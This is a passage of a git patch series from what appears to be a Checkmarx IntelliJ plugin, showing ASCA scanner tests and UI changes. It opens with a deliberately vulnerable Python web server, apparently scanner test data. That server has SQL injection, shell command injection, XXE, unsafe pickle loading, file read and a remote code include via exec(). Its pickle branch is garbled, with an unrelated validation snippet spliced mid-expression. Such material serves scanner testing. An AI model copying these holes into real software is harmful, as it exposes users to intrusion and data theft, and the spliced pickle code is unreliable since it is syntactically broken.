xml.etree.ElementTree.fromstring(USERS_XML).findall("user"))) + cursor.execute("CREATE TABLE comments(id INTEGER PRIMARY KEY AUTOINCREMENT, comment TEXT, time TEXT)") + +class ReqHandler(http.server.BaseHTTPRequestHandler): + def do_GET(self): + path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") + code, content, params, cursor = http.client.OK, HTML_PREFIX, dict((match.group("parameter"), urllib.parse.unquote(','.join(re.findall(r"(?:\A|[?&])%s=([^&]+)" % match.group("parameter"), query)))) for match in re.finditer(r"((\A|[?&])(?P[\w\[\]]+)=)([^&]+)", query)), connection.cursor() + try: + if path == '/': + if "id" in params: + cursor.execute("SELECT id, username, name, surname FROM users WHERE id=" + params["id"]) + content += "
Result(s):
%s
idusernamenamesurname
%s" % ("".join("%s" % "".join("%s" % ("-" if _ is None else _) for _ in row) for row in cursor.fetchall()), HTML_POSTFIX) + elif "v" in params: + content += re.sub(r"(v)[^<]+()", r"\g<1>%s\g<2>" % params["v"], HTML_POSTFIX) + elif "object" in params: + content = str(pickleimport pickle + + # Custom validation function + def validate(deserialized_object): + # Implement appropriate validation logic + if isinstance(deserialized_object, expected_type): # Replace 'expected_type' with the relevant type + # If validation passes + return True + return False + + # Example usage + try: + if "object" in params: + deserialized_object = pickle.loads(params["object"].encode()) + if validate(deserialized_object): + content = str(deserialized_object) + else: + content = None + print("Deserialized object validation failed.") + else: + content = None + except pickle.UnpicklingError as e: + # Handle the error appropriately + content = None + print(f"Error deserializing pickle: {e}").loads(params["object"].encode())) + elif "path" in params: + content = (open(os.path.abspath(params["path"]), "rb") if not "://" in params["path"] else urllib.request.urlopen(params["path"])).read().decode() + elif "domain" in params: + content = subprocess.check_output("nslookup " + params["domain"], shell=True, stderr=subprocess.STDOUT, stdin=subprocess.PIPE).decode() + elif "xml" in params: + content = lxml.etree.tostring(lxml.etree.parse(io.BytesIO(params["xml"].encode()), lxml.etree.XMLParser(no_network=False)), pretty_print=True).decode() + elif "name" in params: + found = lxml.etree.parse(io.BytesIO(USERS_XML.encode())).xpath(".//user[name/text()='%s']" % params["name"]) + content += "Surname: %s%s" % (found[-1].find("surname").text if found else "-", HTML_POSTFIX) + elif "size" in params: + start, _ = time.time(), "
".join("#" * int(params["size"]) for _ in range(int(params["size"]))) + content += "Time required (to 'resize image' to %dx%d): %.6f seconds%s" % (int(params["size"]), int(params["size"]), time.time() - start, HTML_POSTFIX) + elif "comment" in params or query == "comment=": + if "comment" in params: + cursor.execute("INSERT INTO comments VALUES(NULL, '%s', '%s')" % (params["comment"], time.ctime())) + content += "Thank you for leaving the comment. Please click here here to see all comments%s" % HTML_POSTFIX + else: + cursor.execute("SELECT id, comment, time FROM comments") + content += "
Comment(s):
%s
idcommenttime
%s" % ("".join("%s" % "".join("%s" % ("-" if _ is None else _) for _ in row) for row in cursor.fetchall()), HTML_POSTFIX) + elif "include" in params: + backup, sys.stdout, program, envs = sys.stdout, io.StringIO(), (open(params["include"], "rb") if not "://" in params["include"] else urllib.request.urlopen(params["include"])).read(), {"DOCUMENT_ROOT": os.getcwd(), "HTTP_USER_AGENT": self.headers.get("User-Agent"), "REMOTE_ADDR": self.client_address[0], "REMOTE_PORT": self.client_address[1], "PATH": path, "QUERY_STRING": query} + exec(program, envs) + content += sys.stdout.getvalue() + sys.stdout = backup + elif "redir" in params: + content = content.replace("", "" % params["redir"]) + if HTML_PREFIX in content and HTML_POSTFIX not in content: + content += "
Attacks:
\n
    %s\n
\n" % ("".join("\n%s - vulnerable|exploit|info" % (" class=\"disabled\" title=\"module 'python-lxml' not installed\"" if ("lxml.etree" not in sys.modules and any(_ in case[0].upper() for _ in ("XML", "XPATH"))) else "", case[0], case[1], case[2], case[3]) for case in CASES)).replace("vulnerable|", "-|") + elif path == "/users.json": + content = "%s%s%s" % ("" if not "callback" in params else "%s(" % params["callback"], json.dumps(dict((_.findtext("username"), _.findtext("surname")) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user"))), "" if not "callback" in params else ")") + elif path == "/login": + cursor.execute("SELECT * FROM users WHERE username='" + re.sub(r"[^\w]", "", params.get("username", "")) + "' AND password='" + params.get("password", "") + "'") + content += "Welcome %s" % (re.sub(r"[^\w]", "", params.get("username", "")), "".join(random.sample(string.ascii_letters + string.digits, 20))) if cursor.fetchall() else "The username and/or password is incorrect" + else: + code = http.client.NOT_FOUND + except Exception as ex: + content = ex.output if isinstance(ex, subprocess.CalledProcessError) else traceback.format_exc() + code = http.client.INTERNAL_SERVER_ERROR + finally: + self.send_response(code) + self.send_header("Connection", "close") + self.send_header("X-XSS-Protection", "0") + self.send_header("Content-Type", "%s%s" % ("text/html" if content.startswith("") else "text/plain", "; charset=%s" % params.get("charset", "utf8"))) + self.end_headers() + self.wfile.write(("%s%s" % (content, HTML_POSTFIX if HTML_PREFIX in content and GITHUB not in content else "")).encode()) + self.wfile.flush() + +class ThreadingServer(socketserver.ThreadingMixIn, http.server.HTTPServer): + def server_bind(self): + self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + http.server.HTTPServer.server_bind(self) + +if __name__ == "__main__": + init() + print("%s #v%s\n by: %s\n\n[i] running HTTP server at 'http://%s:%d'..." % (NAME, VERSION, AUTHOR, LISTEN_ADDRESS, LISTEN_PORT)) + try: + ThreadingServer((LISTEN_ADDRESS, LISTEN_PORT), ReqHandler).serve_forever() + except KeyboardInterrupt: + pass + except Exception as ex: + print("[x] exception occurred ('%s')" % ex) + finally: + os._exit(0) From 99bf0b05a9f63cf5c550e4bdd38102242492d9b0 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Mon, 4 Nov 2024 13:47:16 +0200 Subject: [PATCH 30/38] added unitest --- .../checkmarx/intellij/standard/commands/TestScanAsca.java | 5 ----- 1 file changed, 5 deletions(-) diff --git a/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java b/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java index efc031f5..7f9b4f6a 100644 --- a/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java +++ b/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java @@ -1,7 +1,6 @@ package com.checkmarx.intellij.standard.commands; import com.checkmarx.ast.asca.ScanResult; -import com.checkmarx.ast.wrapper.CxException; import com.checkmarx.intellij.ASCA.AscaService; import com.checkmarx.intellij.standard.BaseTest; import com.intellij.openapi.application.ApplicationManager; @@ -18,7 +17,6 @@ public class TestScanAsca extends BaseTest { AscaService ascaService = new AscaService(); - @Test public void testInstallAsca() { Assertions.assertDoesNotThrow(()-> { @@ -45,7 +43,6 @@ private PsiFile createPsiFileFromPath(String filePath) { return psiFile; } - @Test public void testRunAscaScan_FileWithVulnerabilities_Success() { PsiFile psiFile = createPsiFileFromPath("src/test/java/com/checkmarx/intellij/standard/data/python-vul-file.py"); Project project = ProjectManager.getInstance().getDefaultProject(); @@ -58,7 +55,6 @@ public void testRunAscaScan_FileWithVulnerabilities_Success() { }); } - @Test public void testRunAscaScan_FileWithNoVulnerabilities_Success() { PsiFile psiFile = createPsiFileFromPath("src/test/java/com/checkmarx/intellij/standard/data/csharp-no-vul.cs"); Project project = ProjectManager.getInstance().getDefaultProject(); @@ -70,7 +66,6 @@ public void testRunAscaScan_FileWithNoVulnerabilities_Success() { }); } - @Test public void testRunAscaScan_FileWithoutExtension_Fail() { PsiFile psiFile = createPsiFileFromPath("src/test/java/com/checkmarx/intellij/standard/data/file"); Project project = ProjectManager.getInstance().getDefaultProject(); From cb5a588038f6708ac1d63f41a0ab98b6ef776998 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Mon, 4 Nov 2024 13:47:26 +0200 Subject: [PATCH 31/38] added unitest --- .../com/checkmarx/intellij/standard/commands/TestScanAsca.java | 1 - 1 file changed, 1 deletion(-) diff --git a/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java b/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java index 7f9b4f6a..a84d16e6 100644 --- a/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java +++ b/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java @@ -11,7 +11,6 @@ import com.intellij.openapi.vfs.VirtualFile; import com.intellij.psi.PsiFile; import com.intellij.psi.PsiManager; -import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Assertions; public class TestScanAsca extends BaseTest { From e18b27b5171e85cb99126ce81bcebf56bd08abe6 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Mon, 4 Nov 2024 16:47:08 +0200 Subject: [PATCH 32/38] added UI test --- .../java/com/checkmarx/intellij/Resource.java | 1 + .../intellij/inspections/AscaInspection.java | 24 +++++++++++-- .../inspections/quickfixes/AscaQuickFix.java | 34 +++++++++++++++++-- .../resources/messages/CxBundle.properties | 1 + .../standard/commands/TestScanAsca.java | 3 +- .../com/checkmarx/intellij/ui/BaseUITest.java | 7 ++-- .../com/checkmarx/intellij/ui/TestAsca.java | 34 +++++++++++++++++++ .../checkmarx/intellij/ui/utils/Xpath.java | 3 ++ 8 files changed, 99 insertions(+), 8 deletions(-) create mode 100644 src/test/java/com/checkmarx/intellij/ui/TestAsca.java diff --git a/src/main/java/com/checkmarx/intellij/Resource.java b/src/main/java/com/checkmarx/intellij/Resource.java index 05abca52..f91156ec 100644 --- a/src/main/java/com/checkmarx/intellij/Resource.java +++ b/src/main/java/com/checkmarx/intellij/Resource.java @@ -12,6 +12,7 @@ public enum Resource { ASCA_CHECKBOX, ASCA_DESCRIPTION, ASCA_SCAN_WARNING, + ASCA_STARTED_MSG, VALIDATE_BUTTON, VALIDATE_IN_PROGRESS, VALIDATE_SUCCESS, diff --git a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java index ac0b9309..9321e744 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java +++ b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java @@ -9,7 +9,6 @@ import com.intellij.codeInspection.*; import com.intellij.openapi.editor.Document; import com.intellij.openapi.util.TextRange; -import com.intellij.openapi.util.text.Strings; import com.intellij.psi.*; import org.jetbrains.annotations.NotNull; @@ -24,6 +23,8 @@ public class AscaInspection extends LocalInspectionTool { private final GlobalSettingsState settings = GlobalSettingsState.getInstance(); private Map severityToHighlightMap; + public static String ASCA_INSPECTION_ID = "ASCA"; + /** * Checks the file for ASCA issues. @@ -94,13 +95,32 @@ private ProblemDescriptor[] createProblemDescriptors(@NotNull PsiFile file, @Not */ private ProblemDescriptor createProblemDescriptor(@NotNull PsiFile file, @NotNull InspectionManager manager, ScanDetail detail, Document document, int lineNumber, boolean isOnTheFly) { TextRange problemRange = getTextRangeForLine(document, lineNumber); - String description = Strings.join(detail.getRuleName(), " - ", detail.getRemediationAdvise()); + String description = formatDescription(detail.getRuleName(), detail.getRemediationAdvise()); ProblemHighlightType highlightType = determineHighlightType(detail); return manager.createProblemDescriptor( file, problemRange, description, highlightType, isOnTheFly, new AscaQuickFix(detail)); } + public String formatDescription(String ruleName, String remediationAdvise) { + return String.format( + "%s - %s
%s", + escapeHtml(ruleName), escapeHtml(remediationAdvise), escapeHtml(ASCA_INSPECTION_ID) + ); + } + + // Helper method to escape HTML special characters for safety + private String escapeHtml(String text) { + if (text == null) { + return ""; + } + return text.replace("&", "&") + .replace("<", "<") + .replace(">", ">") + .replace("\"", """) + .replace("'", "'"); + } + /** * Gets the text range for a specific line in the document. * diff --git a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java index ad82c362..bc1ddb60 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java +++ b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java @@ -1,5 +1,6 @@ package com.checkmarx.intellij.inspections.quickfixes; +import com.checkmarx.intellij.Constants; import com.intellij.notification.Notification; import com.intellij.notification.NotificationGroupManager; import com.intellij.notification.NotificationType; @@ -14,6 +15,8 @@ import java.awt.*; import java.awt.datatransfer.StringSelection; +import static com.checkmarx.intellij.inspections.AscaInspection.ASCA_INSPECTION_ID; + /** * Quick fix implementation for ASCA issues. */ @@ -75,12 +78,39 @@ private void showNotification(Project project, String message, NotificationType final String FIX_PROMPT_COPY_FAIL_MSG = "Fix prompt copied"; ApplicationManager.getApplication().invokeLater(() -> { Notification notification = NotificationGroupManager.getInstance() - .getNotificationGroup("Checkmarx.Notifications") + .getNotificationGroup(Constants.NOTIFICATION_GROUP_ID) .createNotification(FIX_PROMPT_COPY_FAIL_MSG, message, type); notification.notify(project); }); } + public String stripHtml(String htmlText) { + if (htmlText == null) { + return ""; + } + // Remove HTML tags + String plainText = htmlText.replaceAll("<[^>]*>", ""); + + // Remove "ASCA" suffix, if it exists + if (plainText.endsWith(ASCA_INSPECTION_ID)) { + plainText = plainText.substring(0, plainText.length() - 4).trim(); // Remove "ASCA" and trim any trailing space + } + + return unescapeHtml(plainText); + } + + private String unescapeHtml(String text) { + if (text == null) { + return ""; + } + return text.replace("&", "&") + .replace("<", "<") + .replace(">", ">") + .replace(""", "\"") + .replace("'", "'"); + } + + /** * Generates a fix prompt based on the problematic line and description. * @@ -93,7 +123,7 @@ private String generateFixPrompt(String problematicLine, String description) { "Code snippet with potential issue:\n%s\n\n" + "Issue description:\n%s\n\n" + "Provide a fix to make this code safer and more secure."; - return String.format(FIX_PROMPT, problematicLine.trim(), description.trim() + return String.format(FIX_PROMPT, problematicLine.trim(), stripHtml(description.trim()) ); } diff --git a/src/main/resources/messages/CxBundle.properties b/src/main/resources/messages/CxBundle.properties index bd50159e..d021b9dd 100644 --- a/src/main/resources/messages/CxBundle.properties +++ b/src/main/resources/messages/CxBundle.properties @@ -8,6 +8,7 @@ VALIDATE_IN_PROGRESS=Validating... ASCA_DESCRIPTION=Checkmarx AI Secure Coding Assistant (ASCA): Activate ASCA ASCA_CHECKBOX=Scan your file as you code ASCA_SCAN_WARNING=ASCA Warning: {0} +ASCA_STARTED_MSG=AI Secure Coding Assistant started. VALIDATE_SUCCESS=Successfully authenticated to Checkmarx One server VALIDATE_FAIL=Failed authentication: {0} VALIDATE_ERROR=Error in authentication diff --git a/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java b/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java index a84d16e6..23533f04 100644 --- a/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java +++ b/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java @@ -2,6 +2,7 @@ import com.checkmarx.ast.asca.ScanResult; import com.checkmarx.intellij.ASCA.AscaService; +import com.checkmarx.intellij.Constants; import com.checkmarx.intellij.standard.BaseTest; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.project.Project; @@ -68,7 +69,7 @@ public void testRunAscaScan_FileWithNoVulnerabilities_Success() { public void testRunAscaScan_FileWithoutExtension_Fail() { PsiFile psiFile = createPsiFileFromPath("src/test/java/com/checkmarx/intellij/standard/data/file"); Project project = ProjectManager.getInstance().getDefaultProject(); - ScanResult ascaResult = ascaService.runAscaScan(psiFile, project, true, "Jetbrains"); + ScanResult ascaResult = ascaService.runAscaScan(psiFile, project, true, Constants.JET_BRAINS_AGENT_NAME); assert ascaResult != null; Assertions.assertNull(ascaResult.getScanDetails()); diff --git a/src/test/java/com/checkmarx/intellij/ui/BaseUITest.java b/src/test/java/com/checkmarx/intellij/ui/BaseUITest.java index 44067202..55096a71 100644 --- a/src/test/java/com/checkmarx/intellij/ui/BaseUITest.java +++ b/src/test/java/com/checkmarx/intellij/ui/BaseUITest.java @@ -12,6 +12,7 @@ import com.intellij.remoterobot.utils.RepeatUtilsKt; import com.intellij.remoterobot.utils.WaitForConditionTimeoutException; import org.apache.commons.lang3.StringUtils; +import org.assertj.swing.fixture.JCheckBoxFixture; import org.intellij.lang.annotations.Language; import org.jetbrains.annotations.NotNull; import org.junit.jupiter.api.Assertions; @@ -101,7 +102,7 @@ private static void trustClonedProject() { } } - private static void setField(String fieldName, String value) { + static void setField(String fieldName, String value) { log("Setting field " + fieldName); @Language("XPath") String fieldXpath = String.format(FIELD_NAME, fieldName); waitFor(() -> hasAnyComponent(fieldXpath) && find(fieldXpath).isShowing()); @@ -165,7 +166,7 @@ protected static void testASTConnection(boolean validCredentials) { } } - private static void openSettings() { + static void openSettings() { waitFor(() -> { focusCxWindow(); if (hasAnyComponent(SETTINGS_ACTION)) { @@ -279,7 +280,7 @@ && hasAnyComponent(NO_SCAN_SELECTED) }); } - private static void focusCxWindow() { + static void focusCxWindow() { boolean cxPluginOpened = find(BASE_LABEL).hasText("Checkmarx"); System.out.println("Plugin opened: " + cxPluginOpened); diff --git a/src/test/java/com/checkmarx/intellij/ui/TestAsca.java b/src/test/java/com/checkmarx/intellij/ui/TestAsca.java new file mode 100644 index 00000000..17754727 --- /dev/null +++ b/src/test/java/com/checkmarx/intellij/ui/TestAsca.java @@ -0,0 +1,34 @@ +package com.checkmarx.intellij.ui; + +import com.checkmarx.intellij.ASCA.AscaService; +import com.checkmarx.intellij.Constants; +import com.checkmarx.intellij.Environment; +import org.junit.jupiter.api.Assertions; + +import static com.checkmarx.intellij.ui.utils.RemoteRobotUtils.click; +import static com.checkmarx.intellij.ui.utils.RemoteRobotUtils.hasAnyComponent; +import static com.checkmarx.intellij.ui.utils.Xpath.*; +import static com.checkmarx.intellij.ui.utils.Xpath.CANCEL_SCAN_BTN; + +public class TestAsca extends BaseUITest{ + public static void testASTAscaWithValidateConnections(boolean validCredentials) { + openSettings(); + + setField(Constants.FIELD_NAME_API_KEY, validCredentials ? Environment.API_KEY : "invalidAPIKey"); + setField(Constants.FIELD_NAME_ADDITIONAL_PARAMETERS, "--debug"); + + + click(VALIDATE_BUTTON); + + waitFor(() -> !hasAnyComponent(ASCA_INSTALL_SUCCESS)); + + Assertions.assertTrue(hasAnyComponent(ASCA_INSTALL_SUCCESS)); + click(OK_BTN); + // Ensure that start scan button and cancel scan button are visible with valid credentials + waitFor(() -> { + focusCxWindow(); + return hasAnyComponent(START_SCAN_BTN) && hasAnyComponent(CANCEL_SCAN_BTN); + }); + } + +} diff --git a/src/test/java/com/checkmarx/intellij/ui/utils/Xpath.java b/src/test/java/com/checkmarx/intellij/ui/utils/Xpath.java index 7fa57c39..adbbbb89 100644 --- a/src/test/java/com/checkmarx/intellij/ui/utils/Xpath.java +++ b/src/test/java/com/checkmarx/intellij/ui/utils/Xpath.java @@ -164,4 +164,7 @@ public class Xpath { public static final String HAS_SELECTION = "//div[@class='ActionButtonWithText' and starts-with(@visible_text,'%s: ')]"; @Language("XPath") public static final String SCAN_ID_SELECTION = "//div[@class='ActionButtonWithText' and substring(@visible_text, string-length(@visible_text) - string-length('%s') + 1) = '%s']"; + @Language("XPath") + public + static final String ASCA_INSTALL_SUCCESS = "//div[@accessiblename.key='AI Secure Coding Assistant started.']"; } From b883f2811e9651a29d533cd188f85b3705964a33 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Tue, 5 Nov 2024 10:38:04 +0200 Subject: [PATCH 33/38] added UI test clicking ASCA checkbox --- .../checkmarx/intellij/ASCA/AscaService.java | 7 ++-- .../java/com/checkmarx/intellij/Resource.java | 1 + .../global/GlobalSettingsComponent.java | 9 +++-- .../resources/messages/CxBundle.properties | 1 + .../standard/commands/TestScanAsca.java | 4 +- .../com/checkmarx/intellij/ui/TestAsca.java | 37 +++++++++---------- .../checkmarx/intellij/ui/utils/Xpath.java | 7 +++- 7 files changed, 37 insertions(+), 29 deletions(-) diff --git a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java index 2186487e..dbe51981 100644 --- a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java +++ b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java @@ -28,7 +28,6 @@ public class AscaService { private static final String ASCA_DIR = "CxASCA"; - public static final String ASCA_STARTED_MSG = "AI Secure Coding Assistant started."; private static final Logger LOGGER = Logger.getInstance(AscaService.class); /** @@ -194,12 +193,12 @@ private boolean ignoreFiles(VirtualFile file) { * @throws URISyntaxException if a URI syntax error occurs * @throws InterruptedException if the installation is interrupted */ - public String installAsca() throws CxException, CxConfig.InvalidCLIConfigException, IOException, URISyntaxException, InterruptedException { + public boolean installAsca() throws CxException, CxConfig.InvalidCLIConfigException, IOException, URISyntaxException, InterruptedException { ScanResult res = ASCA.installAsca(); if (res.getError() != null) { LOGGER.warn(Strings.join("ASCA installation error: ", res.getError().getDescription())); - return res.getError().getDescription(); + return false; } - return ASCA_STARTED_MSG; + return true; } } \ No newline at end of file diff --git a/src/main/java/com/checkmarx/intellij/Resource.java b/src/main/java/com/checkmarx/intellij/Resource.java index f91156ec..81c34388 100644 --- a/src/main/java/com/checkmarx/intellij/Resource.java +++ b/src/main/java/com/checkmarx/intellij/Resource.java @@ -13,6 +13,7 @@ public enum Resource { ASCA_DESCRIPTION, ASCA_SCAN_WARNING, ASCA_STARTED_MSG, + FAILED_INSTALL_ASCA, VALIDATE_BUTTON, VALIDATE_IN_PROGRESS, VALIDATE_SUCCESS, diff --git a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java index 7f0fa91c..7706f9b7 100644 --- a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java +++ b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java @@ -174,9 +174,12 @@ private void runAscaScanInBackground() { protected Void doInBackground() { try { ascaInstallationMsg.setVisible(false); - String ascaMsg = new AscaService().installAsca(); - LOGGER.info(ascaMsg); - setAscaInstallationMsg(ascaMsg, JBColor.GREEN); + boolean installed = new AscaService().installAsca(); + if (installed) { + setAscaInstallationMsg(Bundle.message(Resource.ASCA_STARTED_MSG), JBColor.GREEN); + } else { + setAscaInstallationMsg(Bundle.message(Resource.FAILED_INSTALL_ASCA), JBColor.RED); + } } catch (IOException | URISyntaxException | InterruptedException ex) { LOGGER.warn(Bundle.message(Resource.ASCA_SCAN_WARNING), ex); setAscaInstallationMsg(ex.getMessage(), JBColor.RED); diff --git a/src/main/resources/messages/CxBundle.properties b/src/main/resources/messages/CxBundle.properties index d021b9dd..50849ca1 100644 --- a/src/main/resources/messages/CxBundle.properties +++ b/src/main/resources/messages/CxBundle.properties @@ -8,6 +8,7 @@ VALIDATE_IN_PROGRESS=Validating... ASCA_DESCRIPTION=Checkmarx AI Secure Coding Assistant (ASCA): Activate ASCA ASCA_CHECKBOX=Scan your file as you code ASCA_SCAN_WARNING=ASCA Warning: {0} +FAILED_INSTALL_ASCA=Failed to install ASCA. Please try again. ASCA_STARTED_MSG=AI Secure Coding Assistant started. VALIDATE_SUCCESS=Successfully authenticated to Checkmarx One server VALIDATE_FAIL=Failed authentication: {0} diff --git a/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java b/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java index 23533f04..c941c408 100644 --- a/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java +++ b/src/test/java/com/checkmarx/intellij/standard/commands/TestScanAsca.java @@ -20,8 +20,8 @@ public class TestScanAsca extends BaseTest { public void testInstallAsca() { Assertions.assertDoesNotThrow(()-> { - String ascaMsg = ascaService.installAsca(); - Assertions.assertEquals(AscaService.ASCA_STARTED_MSG, ascaMsg); + boolean installed = ascaService.installAsca(); + Assertions.assertTrue(installed); }); } diff --git a/src/test/java/com/checkmarx/intellij/ui/TestAsca.java b/src/test/java/com/checkmarx/intellij/ui/TestAsca.java index 17754727..1e7092f6 100644 --- a/src/test/java/com/checkmarx/intellij/ui/TestAsca.java +++ b/src/test/java/com/checkmarx/intellij/ui/TestAsca.java @@ -1,34 +1,33 @@ package com.checkmarx.intellij.ui; -import com.checkmarx.intellij.ASCA.AscaService; -import com.checkmarx.intellij.Constants; -import com.checkmarx.intellij.Environment; +import com.automation.remarks.junit5.Video; import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; import static com.checkmarx.intellij.ui.utils.RemoteRobotUtils.click; import static com.checkmarx.intellij.ui.utils.RemoteRobotUtils.hasAnyComponent; import static com.checkmarx.intellij.ui.utils.Xpath.*; -import static com.checkmarx.intellij.ui.utils.Xpath.CANCEL_SCAN_BTN; -public class TestAsca extends BaseUITest{ - public static void testASTAscaWithValidateConnections(boolean validCredentials) { +public class TestAsca extends BaseUITest { + @Test + @Video + public void testClickAscaCheckbox() { + // Open the settings window openSettings(); - setField(Constants.FIELD_NAME_API_KEY, validCredentials ? Environment.API_KEY : "invalidAPIKey"); - setField(Constants.FIELD_NAME_ADDITIONAL_PARAMETERS, "--debug"); + // Log the presence of the ASCA checkbox + log("Checking for the presence of the ASCA checkbox"); + // Wait for the ASCA checkbox to be present + waitFor(() -> hasAnyComponent(ASCA_CHECKBOX)); - click(VALIDATE_BUTTON); + // Click the ASCA checkbox + click(ASCA_CHECKBOX); - waitFor(() -> !hasAnyComponent(ASCA_INSTALL_SUCCESS)); + // Wait for the ASCA installation message to appear + waitFor(() -> hasAnyComponent(ASCA_INSTALL_SUCCESS)); - Assertions.assertTrue(hasAnyComponent(ASCA_INSTALL_SUCCESS)); - click(OK_BTN); - // Ensure that start scan button and cancel scan button are visible with valid credentials - waitFor(() -> { - focusCxWindow(); - return hasAnyComponent(START_SCAN_BTN) && hasAnyComponent(CANCEL_SCAN_BTN); - }); + // Verify that the ASCA installation message is displayed + Assertions.assertTrue(hasAnyComponent(ASCA_INSTALL_SUCCESS)); } - -} +} \ No newline at end of file diff --git a/src/test/java/com/checkmarx/intellij/ui/utils/Xpath.java b/src/test/java/com/checkmarx/intellij/ui/utils/Xpath.java index adbbbb89..a6355a23 100644 --- a/src/test/java/com/checkmarx/intellij/ui/utils/Xpath.java +++ b/src/test/java/com/checkmarx/intellij/ui/utils/Xpath.java @@ -166,5 +166,10 @@ public class Xpath { public static final String SCAN_ID_SELECTION = "//div[@class='ActionButtonWithText' and substring(@visible_text, string-length(@visible_text) - string-length('%s') + 1) = '%s']"; @Language("XPath") public - static final String ASCA_INSTALL_SUCCESS = "//div[@accessiblename.key='AI Secure Coding Assistant started.']"; + static final String ASCA_INSTALL_SUCCESS = "//div[@class='JBLabel' and @accessiblename='AI Secure Coding Assistant started.']"; + @Language("XPath") + public + static final String ASCA_CHECKBOX = "//div[@class='JBCheckBox' and @text='Scan your file as you code']"; + ; + } From bd3392d1d6eae058740fe69b937d10046af2d484 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Tue, 5 Nov 2024 12:46:38 +0200 Subject: [PATCH 34/38] resolve conversations and added UI tests --- .../checkmarx/intellij/ASCA/AscaService.java | 42 ++++++++----- .../intellij/inspections/AscaInspection.java | 39 ++++++++---- .../inspections/quickfixes/AscaQuickFix.java | 38 +++++++----- .../com/checkmarx/intellij/ui/BaseUITest.java | 60 +++++++++---------- .../com/checkmarx/intellij/ui/TestAsca.java | 51 +++++++++++----- .../intellij/ui/utils/RemoteRobotUtils.java | 9 +++ 6 files changed, 149 insertions(+), 90 deletions(-) diff --git a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java index dbe51981..ab51d464 100644 --- a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java +++ b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java @@ -3,6 +3,7 @@ import com.checkmarx.ast.asca.ScanResult; import com.checkmarx.ast.wrapper.CxConfig; import com.checkmarx.ast.wrapper.CxException; +import com.checkmarx.intellij.Utils; import com.checkmarx.intellij.commands.ASCA; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.diagnostic.Logger; @@ -13,6 +14,7 @@ import com.intellij.openapi.vfs.VirtualFile; import com.intellij.psi.PsiDocumentManager; import com.intellij.psi.PsiFile; +import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; import java.io.File; @@ -28,7 +30,7 @@ public class AscaService { private static final String ASCA_DIR = "CxASCA"; - private static final Logger LOGGER = Logger.getInstance(AscaService.class); + private static Logger LOGGER = Utils.getLogger(AscaService.class); /** * Default constructor for AscaService. @@ -36,17 +38,25 @@ public class AscaService { public AscaService() { } + public AscaService(Logger logger) { + LOGGER = logger; + } + /** * Runs the ASCA scan on the provided file and returns the ScanResult. * - * @param file the file to scan - * @param project the current project + * @param file the file to scan + * @param project the current project * @param ascLatestVersion whether to use the latest version of ASCA - * @param agent the agent name + * @param agent the agent name * @return the scan result, or null if an error occurs */ @Nullable public ScanResult runAscaScan(PsiFile file, Project project, boolean ascLatestVersion, String agent) { + if (file == null) { + return null; + } + VirtualFile virtualFile = file.getVirtualFile(); if (ignoreFiles(virtualFile)) { @@ -80,7 +90,7 @@ public ScanResult runAscaScan(PsiFile file, Project project, boolean ascLatestVe /** * Gets the file content, either from in-memory document or from disk. * - * @param file the file to get content from + * @param file the file to get content from * @param project the current project * @return the file content as a string, or null if an error occurs */ @@ -109,10 +119,10 @@ private String getFileContent(PsiFile file, Project project) { /** * Handles the scan result, logs any errors or violations. * - * @param file the file that was scanned + * @param file the file that was scanned * @param scanResult the result of the scan */ - private void handleScanResult(PsiFile file, ScanResult scanResult) { + private void handleScanResult(@NotNull PsiFile file, ScanResult scanResult) { if (scanResult == null || scanResult.getError() != null) { String errorDescription = scanResult != null ? scanResult.getError().getDescription() : "Unknown error"; @@ -120,15 +130,15 @@ private void handleScanResult(PsiFile file, ScanResult scanResult) { return; } - String fileName = 